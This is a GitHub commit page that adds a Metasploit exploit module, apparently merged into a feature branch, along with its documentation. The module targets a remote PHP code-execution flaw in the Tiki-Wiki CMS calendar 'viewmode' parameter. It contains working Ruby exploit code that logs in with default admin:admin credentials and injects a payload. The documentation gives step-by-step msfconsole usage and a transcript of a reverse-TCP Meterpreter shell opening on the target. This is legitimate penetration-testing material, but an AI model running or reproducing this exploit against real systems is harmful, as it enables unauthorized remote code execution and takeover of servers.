Skip to content

Commit 18f6d21

Browse files
David MaloneyDavid Maloney
David Maloney
authored and
David Maloney
committed
Merge branch 'master' into feature/rex-cleanup/first-gems
2 parents 1e053c1 + de51524 commit 18f6d21

File tree

2 files changed

+254
-0
lines changed

2 files changed

+254
-0
lines changed

‎documentation/modules/exploit/linux/http/tiki_calendar_exec.md

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
## Vulnerable Application
2+
3+
* Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/)
4+
* Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z)
5+
* Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
6+
7+
**Of note, there is some discussion if 14.2 is vuln or not.**
8+
9+
1. Exploit-DB says in the title (may be wrong) 14.2 is vuln.
10+
2. The linked app Exploit-DB has is 14.2.
11+
3. Its verified on Exploit-DB.
12+
13+
vs
14+
15+
1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
16+
2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem
17+
18+
### Creating A Testing Environment
19+
20+
1. Create a fresh Ubuntu 16.04 w/ a LAMP install
21+
2. `apt-get install php-xml`
22+
3. Normal php install at that point!
23+
4. After install, login as admin:admin
24+
5. Go to the Control Panels
25+
6. Click Features
26+
7. Enable Calendar under Main feature
27+
8. Click Apply
28+
29+
#### Permissions
30+
31+
If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:
32+
33+
1. Log in as admin
34+
2. From the top dropdown select permissions
35+
3. Check Anonymous near the top
36+
4. Click Assign
37+
38+
## Verification Steps
39+
40+
1. Install the software as documented above
41+
2. Start msfconsole
42+
3. Do: `use exploit/linux/http/tiki_calendar_exec`
43+
4. Do: `set rhost 10.10.10.10`
44+
5. (optional, if not set, set username to empty) Do: `set PASSWORD admin`
45+
6. Do: `set payload php/bind_perl`
46+
7. Do: `set verbose true`
47+
8. Do: `check`
48+
49+
```
50+
[*] Attempting Login
51+
[+] Login Successful!
52+
[+] 10.10.10.10:80 The target is vulnerable.
53+
```
54+
55+
9. Do: `exploit`
56+
10. You should get a shell
57+
58+
```
59+
[*] Started reverse TCP handler on 10.10.10.10:4444
60+
[*] Attempting Login
61+
[+] Login Successful!
62+
[*] Sending malicious calendar view packet
63+
[*] Sending stage (33721 bytes) 10.10.10.10.190
64+
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
65+
```
66+
67+
## Options
68+
69+
**PASSWORD**
70+
71+
Password is set at first login. Default for admin is 'admin'.
72+
73+
## Scenarios
74+
75+
Example running against unauthenticated calendar v14.1
76+
77+
```
78+
msf > use exploit/linux/http/tiki_calendar_exec
79+
msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
80+
rhost => 192.168.2.190
81+
msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
82+
targeturi => /t14_1/
83+
msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
84+
payload => php/meterpreter/reverse_tcp
85+
msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
86+
lhost => 192.168.2.229
87+
msf exploit(tiki_calendar_exec) > set verbose true
88+
verbose => true
89+
msf exploit(tiki_calendar_exec) > set username ''
90+
username =>
91+
msf exploit(tiki_calendar_exec) > exploit
92+
93+
[*] Started reverse TCP handler on 192.168.2.229:4444
94+
[*] Sending malicious calendar view packet
95+
[*] Sending stage (33721 bytes) to 192.168.2.190
96+
[*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
97+
98+
meterpreter > sysinfo
99+
Computer : tikiwiki
100+
OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
101+
Meterpreter : php/php
102+
meterpreter >
103+
```

‎modules/exploits/linux/http/tiki_calendar_exec.rb

Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
##
2+
## This module requires Metasploit: http://metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Tiki-Wiki CMS Calendar Command Execution',
19+
'Description' => %q(
20+
Tiki-Wiki CMS's calendar module contains a remote code execution
21+
vulnerability within the viewmode GET parameter.
22+
The calendar module is NOT enabled by default. If enabled,
23+
the default permissions are set to NOT allow anonymous users
24+
to access.
25+
26+
Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14
27+
Verified/Tested against 14.1
28+
),
29+
'Author' =>
30+
[
31+
'h00die <[email protected]>', # module
32+
'Dany Ouellet' # discovery
33+
],
34+
'References' =>
35+
[
36+
[ 'EDB', '39965' ],
37+
[ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki']
38+
],
39+
'License' => MSF_LICENSE,
40+
'Platform' => %w( php ),
41+
'Privileged' => false,
42+
'Arch' => ARCH_PHP,
43+
'Targets' =>
44+
[
45+
[ 'Automatic Target', {}]
46+
],
47+
'DefaultTarget' => 0,
48+
'DisclosureDate' => 'Jun 06 2016'
49+
)
50+
)
51+
52+
register_options(
53+
[
54+
Opt::RPORT(80),
55+
OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']),
56+
OptString.new('USERNAME', [ false, 'Username of a user with calendar access', 'admin']),
57+
OptString.new('PASSWORD', [ false, 'Password of a user with calendar access', 'admin'])
58+
], self.class
59+
)
60+
end
61+
62+
# returns cookie regardless of outcome
63+
def authenticate
64+
begin
65+
# get a cookie to start with
66+
res = send_request_cgi(
67+
'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'),
68+
'method' => 'GET'
69+
)
70+
cookie = res ? res.get_cookies : ''
71+
# if we have creds, login with them
72+
vprint_status('Attempting Login')
73+
# the bang on the cgi will follow the redirect we receive on a good login
74+
res = send_request_cgi!(
75+
'uri' => normalize_uri(target_uri.path, 'tiki-login.php'),
76+
'method' => 'POST',
77+
'ctype' => 'application/x-www-form-urlencoded',
78+
'cookie' => cookie,
79+
'vars_post' =>
80+
{
81+
'user' => datastore['USERNAME'],
82+
'pass' => datastore['PASSWORD'],
83+
'login' => '',
84+
'stay_in_ssl_mode_present' => 'y',
85+
'stay_in_ssl_mode' => 'n'
86+
}
87+
)
88+
# double check auth worked and we got a Log out on the page.
89+
# at times I got it to auth, but then it would give permission errors
90+
# so we want to try to double check everything is good
91+
if res && !res.body =~ /Log out/
92+
fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
93+
end
94+
vprint_good("Login Successful!")
95+
return cookie
96+
rescue ::Rex::ConnectionError
97+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
98+
end
99+
end
100+
101+
# sends the calendar packet, returns the HTTP response
102+
def send_calendar_packet(cookie, data)
103+
begin
104+
return send_request_cgi(
105+
'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'),
106+
'method' => 'GET',
107+
'cookie' => cookie,
108+
'vars_get' =>
109+
{
110+
'viewmode' => "';#{data};$a='"
111+
}
112+
)
113+
rescue ::Rex::ConnectionError
114+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
115+
end
116+
end
117+
118+
# Version numbers are post auth, so we send a print statement w/
119+
# 10 random characters and check for it in the response
120+
def check
121+
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
122+
cookie = authenticate
123+
end
124+
125+
flag = Rex::Text.rand_text_alpha(10)
126+
res = send_calendar_packet(cookie, "print(#{flag})")
127+
128+
if res
129+
if res.body =~ /You do not have permission to view the calendar/i
130+
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
131+
elsif res.body =~ />#{flag}</
132+
Exploit::CheckCode::Vulnerable
133+
else
134+
Exploit::CheckCode::Safe
135+
end
136+
end
137+
end
138+
139+
def exploit
140+
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
141+
cookie = authenticate
142+
end
143+
144+
vprint_status('Sending malicious calendar view packet')
145+
res = send_calendar_packet(cookie, payload.encoded)
146+
if res && res.body =~ /You do not have permission to view the calendar/i
147+
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
148+
end
149+
end
150+
151+
end

0 commit comments

Comments
 (0)